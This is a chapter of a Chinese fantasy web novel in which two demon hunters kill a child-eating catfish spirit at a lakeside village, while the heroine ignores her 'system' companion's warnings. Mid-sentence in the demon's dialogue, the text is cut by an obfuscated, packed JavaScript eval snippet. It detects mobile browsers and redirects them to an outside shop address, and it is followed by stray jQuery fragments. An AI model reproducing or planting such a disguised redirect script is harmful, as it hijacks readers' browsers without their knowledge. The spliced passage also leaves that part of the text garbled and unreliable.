四人一路向北,行了三日有余。这一日午后,天际忽然阴沉下来,乌云密布,空气中弥漫着一股潮湿而腥臭的气息,仿佛有什么东西在水底腐烂了一般。

    谢临勒住马,抬头望了望天色,又嗅了嗅空气中的异味,眉头微微皱起,对马车中的申明意道:“前方似乎有些不对劲,你且坐稳了。”

    马车又行了四五里路,前方出现了一座不大的渔村。

    村口立着一块歪歪斜斜的木牌,上书“柳溪村”三个字,字迹已经斑驳模糊,仿佛经历了多年的风雨侵蚀。

    村子不大,约莫二三十户人家,房屋低矮简陋,多用泥土和茅草搭建而成,看起来颇为贫穷。

    可此刻整个村庄却笼罩在一片诡异的寂静之中,不见一个人影,只有几只瘦骨嶙峋的野狗在巷道中穿梭,闻到生人的气息,远远地吠了几声,又夹着尾巴跑开了。

    申明意从马车中探出头来,看到这幅景象,心中涌起一股不祥的预感。她下了马车,走到谢临身边,低声道:“这村子不对劲,怎么大白天的一个人都没有?”

    谢临没有回答,只是眯着眼睛,目光在村中扫视了一圈,忽然定格在村口那棵老槐树上。

    只见那老槐树的枝桠上,挂着一串串白色的纸钱,在风中轻轻飘摇,发出窸窸窣窣的声响,仿佛有人在低声哭泣。

    树下摆着一张破旧的供桌,桌上放着几碟已经馊掉的供品,几只苍蝇在碟子上方嗡嗡地盘旋着。

    “有人死了。”谢临沉声道。

    话音刚落,便听到村子里传来一阵撕心裂肺的哭声,那声音凄厉而绝望,仿佛是从胸腔中硬生生挤压出来的一般,听得人心中一阵发紧。

    紧接着,一群村民从村中涌了出来,有男有女,有老有少,个个面带悲戚,有的在抹眼泪,有的在捶胸顿足,有的在仰天哭嚎,乱作一团。

    一个白发苍苍的老者被两个年轻人搀扶着,走在队伍的最前面,老泪纵横,口中不停地念叨着:“我的孙儿啊……我的乖孙儿啊……你让爷爷怎么活啊……”

    申明意连忙上前,拦住一个看起来比较清醒的中年妇人,问道:“大娘,请问村里发生了什么事?怎么大家都这般悲痛?”

    那妇人看了她一眼,又看了看她身后的谢临和马车,抹了一把眼泪,哽咽着道:“姑娘,你们是外乡人吧?快走吧,别在这儿停留了。我们村里……我们村里出了妖怪了!”

    “妖怪?”申明意心中一凛,与谢临对视了一眼,追问道,“什么妖怪?”

    那妇人正要说话,却被一阵突如其来的狂风打断了。那风来得极其诡异,凭空而起,呼啸着从村中席卷而来,卷起地上的沙石和枯叶,打在脸上生疼。

    风中夹杂着一股浓烈的腥臭味,仿佛是成千上万条死鱼堆积在一起腐烂发酵的气味,恶臭扑鼻,令人作呕。

    庆荷刚从马车上下来,还没来得及站稳,便被那股腥风迎面扑了个正着。那股臭味浓烈得仿佛有形一般,直冲她的口鼻,钻进她的肺腑,她只觉得胃里一阵翻江倒海,两眼一翻,连一声惊呼都没来得及发出,便直挺挺地向后倒去,竟是直接被熏晕了过去。

    陆辞眼疾手快,一把扶住了她,才没有让她摔在地上。他眉头微微皱起,目光中闪过一丝凝重,却没有说话。

    申明意也被那股腥臭熏得连连咳嗽,连忙用袖子捂住口鼻,才勉强没有吐出来。她看了一眼昏迷的庆荷,转头对谢临道:“看来那妖怪就在附近了。”

    谢临点了点头,目光凝重地望着村子的方向,手已经按在了腰间的剑柄上。

    他的灵识感知到一股强大的妖气正在村子后方的水域中翻涌,那股妖气浑浊而狂暴,带着一股嗜血的贪婪,显然不是什么善类。

    这时,那个白发老者踉踉跄跄地走到他们面前,扑通一声跪了下来,泣不成声地道:“两位贵人!求求你们救救我们村子吧!那妖怪……那妖怪吃了我的孙儿啊!他才五岁啊!就被那畜生拖到水里去了,连尸骨都没有找到啊!”

    申明意连忙扶起老者,好言安抚了一番,又细细询问了详情。

    原来这柳溪村背靠一座大湖,村民们世代以捕鱼为生,虽不富裕,却也安居乐业。可就在半个月前,湖中忽然来了一条巨大的鲶鱼精,那鲶鱼精身长数丈,口如血盆,一口便能吞下一个成年人。

    它每隔三五日便要上岸吃人,专挑小孩子下手,已经有四个孩子遭了毒手。村民们也曾请过捉妖师来除妖,可那些捉妖师要么根本不是鲶鱼精的对手,被它拖入水中吃了。

    要么就是些招摇撞骗的江湖骗子,一看情况不对便溜之大吉了。

    如今全村人心惶惶,家家户户都不敢让孩子出门,可那鲶鱼精狡猾得很,防不胜防,昨日又将老者的孙儿拖走了。

    申明意听完,心中又愤慨又难过,握紧了拳头,道:“老人家放心,这件事我们管定了。”

    她说着,转头看向谢临,正要跟他商量对策,脑海中却忽然响起了那道久违的系统提示音:

    【检测到前方有高阶妖物出没,妖力等级约为五阶中期,以宿主当前三阶初期的灵力水平,正面交锋存在较大风险。建议宿主继续通过讲述故事积累灵力,待实力提升至四阶以上再行应对。】

    申明意闻言,心中微微一沉。她知道系统是好意,可她同时也清楚地意识到,讲故事积累灵力这条路,虽然看似轻松稳妥,实则暗藏隐患。

    那些通过故事获得的灵力,终究是外力,是别人灌输给她的,而不是她自己修炼得来的。

    她可以靠着这些外力在短时间内快速提升实力,可根基不稳,就如同建在沙滩上的高楼,看似巍峨,实则一推即倒。

    她需要的是将那些灵力真正化为己有,融会贯通,成为自己的一部分,而不是一味地贪多求快。

    更何况,她现在已经有了三阶的灵力根基,虽然不算高,却也不算低了。

    与其继续依赖系统,不如趁着这个机会实战历练一番,将已有的灵力彻底巩固下来。这才是长久之计。

    【宿主,此次妖物实力远超你当前的等级,贸然出手恐有性命之忧。系统建议你还是先——】

    “我知道了。”申明意在心中打断了系统的话,语气平静而坚定,“但我已经决定了。我的灵力我自己会修炼,不需要再借助外力了。多谢你的好意,但我不想再讲故事了。”

    系统沉默了片刻,似乎还想再劝,可申明意已经切断了与它的联系,权当没有听见。

    她深吸了一口气,转头对谢临道:“那鲶鱼精就在湖中,我们得想办法把它引出来,不能在水中跟它打,那是它的主场,对我们不利。”

    谢临看着她,目光中带着几分意外和赞赏,他点了点头,道:“你说得对。把它引到岸上来打,胜算更大一些。”

    他说着,从腰间解下一柄短剑,递给申明意,道:“这柄剑上附了火属性的符文,对水族的妖物有克制作用。你拿着防身。”

    申明意接过短剑,拔剑出鞘,只见剑身泛着一层淡淡的赤红色光芒,触手温热,果然不是凡品。

    她心中微微一暖,抬头看了他一眼,道:“你把剑给了我,你自己用什么?”

    “我用这个就够了。”谢临拍了拍腰间的长剑,笑道,“放心,区区一条鲶鱼,还奈何不了我。”

    他顿了顿,又补了一句:“倒是你,一会儿打起来的时候,躲在我身后就好,别逞强。”

    申明意不服气地撇了撇嘴,道:“谁要躲在你身后了?我也能打。”

    谢临看着她那副倔强的模样,忍不住笑了一声,却没有再说什么。

    他转身朝湖边走去,红衣在风中猎猎作响,步伐稳健而从容,仿佛不是去面对一条吃人的妖怪,而是去赴一场寻常的约会一般。

    申明意跟在他身后,握紧了手中的短剑,心中暗暗运转着体内的紫金色灵力。

    那灵力在她的经脉中缓缓流淌,如同一条温暖的小溪,所过之处,四肢百骸都充满了力量。她感受着那股力量的流动,心中渐渐安定下来。

    两人来到湖边,只见那湖面宽阔,水色浑浊,呈深绿色,仿佛一潭死水,散发着一股淡淡的腥臭味。

    湖面上漂浮着一些枯枝败叶和水草,偶尔冒出一两个气泡,咕嘟咕嘟的,仿佛有什么东西在水底呼吸一般。

    四周静得出奇,连一声鸟鸣都听不到,只有风吹过芦苇丛发出的沙沙声,和湖水轻轻拍打岸边的声响,显得格外诡异。

    谢临站在岸边,目光在湖面上扫视了一圈,忽然提起一口气,朗声道:“喂!水里的那条大泥鳅!出来受死!”

    他的声音不大,却蕴含着充沛的灵力,如同一道惊雷,在湖面上空炸开,震得湖水都泛起了一圈圈的涟漪,向四面八方扩散开去。

    话音刚落,湖面便剧烈地翻滚起来,仿佛有什么东西在水底被激怒了一般。

    湖水如同沸腾了一般,咕嘟咕嘟地冒着巨大的气泡,水花四溅,浪涛翻涌。紧接着,一颗巨大的头颅从水中猛地探了出来!

    那头颅大如磨盘,通体漆黑,光滑黏腻,布满了密密麻麻的黏液,在阳光下泛着恶心反光。

    它的嘴巴宽阔而扁平,两根长长的胡须从嘴角垂下,如同两条黑色的蛇,在水中轻轻摆动。

    眼睛小而浑浊,呈黄褐色,此刻正喷射着愤怒的光芒,死死地盯着岸上的谢临和申明意,仿佛要将他们生吞活剥了一般。

    随着一声沉闷的低吼,那鲶鱼精庞大的身躯从水中缓缓浮起,露出了水面。它的身体足有三四丈长,粗如水缸,通体覆盖着一层漆黑的黏液,在阳光下泛着油腻的光泽。它的尾巴在水中猛地一拍,激起一片巨大的水花,溅了岸边一地。

    它张开血盆大口,露出一口密密麻麻的、如同钢针般锋利的牙齿,发出一声震耳欲聋的咆哮,声音粗粝而沙哑,仿佛砂纸在铁板上摩擦一般,难听至极:“又是两个不知死活的东西!老子正愁午饭没着落呢,你们就送上门来了!哈哈哈!看老子不把你们一口一个吞了!”

    它的声音又粗又哑,还带着一股浓重的腥臭味,随着它张口说话,一股更加浓烈的恶臭从它口中喷出,弥漫在空气中,比方才那股腥风还要浓烈十倍,简直如同实质一般,熏得申明意眼前一阵发黑,连忙屏住呼吸,后退了几步,才勉强没有像庆荷那样晕过去。

    谢临也被那股恶臭熏得皱了皱眉,却依然稳稳地站在原地,面不改色,冷冷地看着那鲶鱼精,道:“你这张嘴还真是臭得可以,怕是几百年没刷过牙了吧?我要是你,都不好意思开口说话。”

    那鲶鱼精被他这一句话激得暴跳如雷,巨大的尾巴猛地一拍水面,激起一片滔天巨浪,朝岸边席卷而来!

    谢临身形一晃,如同一片红叶般飘然后退,轻松地避开了那股巨浪。他落在一块大石上,衣袂飘飘,姿态从容,仿佛方才只是做了一件微不足道的小事一般。

    “就这点本事?”谢临挑了挑眉,语气中带着几分轻蔑,“看来你也就这张嘴厉害一点了。”

    鲶鱼精被他气得七窍生烟,发出一声震天动地的怒吼,庞大的身躯猛地从水中跃起,如同一座小山般朝岸边砸来,张开血盆大口,朝谢临当头咬下!

    谢临不闪不避,右手一翻,腰间的长剑已然出鞘,剑身在阳光下泛起一道清冽的寒光。他手腕一抖,长剑化作一道流光,直刺那鲶鱼精的口中!

    这一剑又快又准,角度刁钻,蕴含着磅礴的灵力,正是他六阶捉妖师的真正实力!

    那鲶鱼精没想到他出剑如此之快,来不及合拢嘴巴,被那一剑正中上颚,疼得它发出一声凄厉的惨叫,庞大的身躯猛地向后一缩,轰然落在水中,激起一片巨大的水花,将岸边的申明意淋了个半湿。

    申明意抹了一把脸上的水,看着谢临那潇洒利落的一剑,心中暗暗赞叹。

    六阶捉妖师果然名不虚传,那一剑无论是速度、角度还是力道的掌控,都堪称完美,远不是她现在这个三阶的水平能够比拟的。

    她虽然输出强,可在技巧和经验上,与谢临相比还差得远。

    不过,她也有她的优势。

    她深吸了一口气,运转体内的紫金色灵力,将那股力量灌注到手中的短剑上。

    那短剑上的火属性符文被她的灵力激发,发出一阵嗡鸣声,剑身上的赤红色光芒变得更加明亮,仿佛有一团火焰在剑刃上跳跃燃烧。

    她看准了那鲶鱼精在水中翻腾的时机,猛地将手中的短剑掷了出去!那短剑如同一道流星,拖着赤红色的尾焰,划过半空,精准地刺入了鲶鱼精的尾部,深深嵌入它的血肉之中!

    鲶鱼精发出一声更加凄厉的惨叫,尾巴猛地一甩,将短剑甩脱,一股墨绿色的血液从伤口中汩汩流出,染绿了大片湖水。

    它转过头来,一双浑浊的黄褐色眼睛死死地盯着申明意,目光中充满了愤怒和杀意,张开血盆大口,发出一声震耳欲聋的咆哮:“小贱人!你敢伤老子!老子要先吃了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847632|210974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你!”

    它说着,庞大的身躯猛地一转,朝申明意所在的方向扑来,速度快得惊人,掀起一片滔天巨浪!

    谢临手持长剑,立于她身前,衣袂在风中猎猎飞扬,背影挺拔如山。他没有回头,只是淡淡地说了一句:“站我身后。”

    然后他出剑了,那一剑,快得仿佛超越了时间的界限。

    剑光如同一道银色的匹练,在空中划出一道完美的弧线,带着凌厉无匹的剑气,斩向了那鲶鱼精的血盆大口!剑气所过之处,空气都被撕裂开来,发出一阵尖锐的呼啸声!

    鲶鱼精感受到了那股剑气的恐怖,想要躲避,却已经来不及了。

    那道剑气精准地斩在了它的嘴巴上,从左唇角一直划到右唇角,将它的嘴巴切开了一道深可见骨的伤口!墨绿色的血液如同泉水般涌出,洒了一地,散发出更加浓烈的腥臭味。

    它发出一声惊天动地的惨叫,庞大的身躯猛地向后缩去,重重地摔在水中,激起一片巨大的水花。

    它在水中翻滚挣扎着,尾巴拍打着水面,发出啪啪的巨响,将湖水搅得一片浑浊,如同沸腾了一般。

    谢临却没有给它喘息的机会。他纵身一跃,如同一只红色的鹰隼,掠过水面,落在了一块突出水面的巨石上。他居高临下地看着在水中翻滚的鲶鱼精,手中的长剑再次举起,剑身上的寒光在阳光下闪烁着冰冷的光芒。

    剑落。

    一道更加凌厉的剑气从天而降,斩入了那鲶鱼精的头颅之中,贯穿了它的整个身体,从头顶一直延伸到尾部,将它庞大的身躯一分为二!

    那鲶鱼精甚至连惨叫都没有来得及发出,巨大的身躯便从中间裂开,分成两半,轰然倒入水中。

    墨绿色的血液和内脏流了一地,染绿了大片湖水,散发出令人作呕的恶臭。

    它的身体抽搐了几下,便不再动弹了,只有那两根长长的胡须还在水中轻轻摆动,仿佛不甘心就此死去一般。

    谢临收回长剑,在衣摆上擦了擦剑身上的血迹,还剑入鞘。他站在那块巨石上,红衣在风中飘扬,阳光在他身后洒下一片金光,将他整个人衬托得如同天神下凡一般。

    申明意站在岸边,仰头看着他,一时间有些看呆了。

    谢临从巨石上跳下来,走到她面前,见她正呆呆地看着自己,不由伸出手在她面前晃了晃,笑道:“怎么?被我帅傻了?”

    申明意回过神来,脸微微一红,连忙别过头去,嘴硬道:“谁看你了?我是在看那条鲶鱼死了没有。”

    “哦,看鲶鱼啊。”谢临故意拖长了语调,意味深长地笑了笑,却没有拆穿她,转而道,“话说回来,你方才那一剑扔得不错。力道、角度、时机都掌握得恰到好处!”

    他话说到一半,忽然顿住了。他转过头来,上下打量了申明意一番,目光中带着几分审视和探究,眉头微微皱起,仿佛在确认什么事情一般。

    “你……你的灵力等阶,是多少?”他忽然问道。

    申明意被他这突如其来的问题问得一愣,犹豫了一下,还是如实答道:“三阶初期。”

    谢临的表情凝固了。

    他瞪大了眼睛,难以置信地看着她,仿佛听到了什么天方夜谭一般,嘴唇翕动了几下,才挤出一句话来:“三阶初期?你确定?”

    “确定啊。”申明意被他那副表情弄得有些莫名其妙,“怎么了?”

    谢临没有说话,只是看着她,目光中充满了震惊和困惑。

    他想起初次见到她时,她一剑斩杀蛇妖的场景,那干净利落的手法,那精准无比的判断,那恰到好处的灵力运用,怎么看都不像是一个只有三阶灵力的人能做到的。

    他以为她至少是五阶以上的高手,甚至可能比他还要高,所以他才会对她产生浓厚的兴趣,想要找她切磋,借此突破自己的瓶颈,提升实力,早日找到父亲报仇。

    可如今她却告诉他,她只有三阶初期?

    这怎么可能?

    一个三阶初期的捉妖师,怎么可能一剑斩杀一只四阶的蛇妖?一个三阶初期的捉妖师,怎么可能扔出那样精准而有力的一剑?一个三阶初期的捉妖师,怎么可能在面对一只五阶的鲶鱼精时,面不改色,还一剑斩出血肉?

    他忽然觉得自己一直以来的认知,被彻底颠覆了。

    “你……”谢临看着她,斟酌了一下措辞,才道,“你知不知道,你方才那一剑,蕴含的灵力强度,已经接近五阶的水平了?”

    申明意愣了一下,低头看了看自己的双手,有些茫然地道:“是吗?我不知道啊。我就是,就是把灵力灌注到剑上,然后扔出去而已。”

    谢临看着她那副懵懂无知的模样,又好气又好笑,却又不得不承认,这个女孩身上,有着一种极其罕见的天赋,她的灵力虽然等阶不高,可输出的强度和效率,却远远超出了她当前的等阶水平。

    这就好比一个孩童,虽然个子不高,力气也不大,却能一拳打出成年人的力量。这种天赋,万中无一。

    他忽然笑了,那笑容中带着几分释然和感慨,道:“看来我当初看走眼了。我还以为你是个深藏不露的高手,想找你切磋切磋,借此突破瓶颈呢。没想到你居然只是个三阶的小菜鸟。”

    申明意听到“小菜鸟”三个字,顿时不乐意了,鼓起腮帮子,道:“喂,什么叫小菜鸟?我虽然只有三阶,可我输出强啊!你没看到我刚才那一剑吗?我可是重伤了那只大鲶鱼的!”

    “你厉害。”谢临笑着附和道,目光中却带着几分认真和温柔,“不过下次别再这么冒险了。万一我没来得及挡住,你可就被那鲶鱼一口吞了。”

    “你不是挡住了嘛。”申明意小声嘟囔了一句,心中却暖暖的,仿佛有一股热流在心底流淌。

    她抬头看着他,阳光洒在他脸上,在他深邃的眼眸中跳跃,仿佛揉碎了的星辰。她忽然觉得,有他在身边,真的很安心。

    两人对视了一眼,都不约而同地笑了。阳光洒在他们身上,将两人的身影镀上了一层温暖的金色,在湖畔的微风中,显得格外和谐而美好。

    远处,庆荷刚刚悠悠转醒,一醒来便看到申明意和谢临正站在湖边,面对面地笑着,阳光洒在他们身上,仿佛一幅画一般。她哼了一声,别过头去,没好气地道:“腻腻歪歪的,也不嫌害臊。”

    陆辞站在她身边,听到这话,微微一笑,却没有说什么,只是目光在谢临和申明意身上停留了片刻,眼中闪过一丝若有所思的光芒。